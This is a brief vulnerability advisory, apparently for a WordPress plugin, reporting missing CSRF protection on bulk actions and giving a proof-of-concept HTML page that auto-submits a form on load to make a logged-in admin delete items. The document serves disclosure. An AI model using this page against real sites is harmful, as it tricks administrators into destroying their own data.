Description The plugin does not have CSRF checks in some bulk actions, which could allow attackers to make logged in admins perform unwanted actions, such as deleting buttons via CSRF attacks
As an admin open HTML file containing:
```
<body onload="document.forms[0].submit()">
<form action="https://example.com/wp-admin/admin.php?page=mwp-skype" method="POST">
<input type="text" name="ID" value="1" />
<input type="text" name="action" value="delete-items" />
<input type="text" name="action2" value="delete-items" />
action
<input type="submit" value="submit">
</form>
</body>
```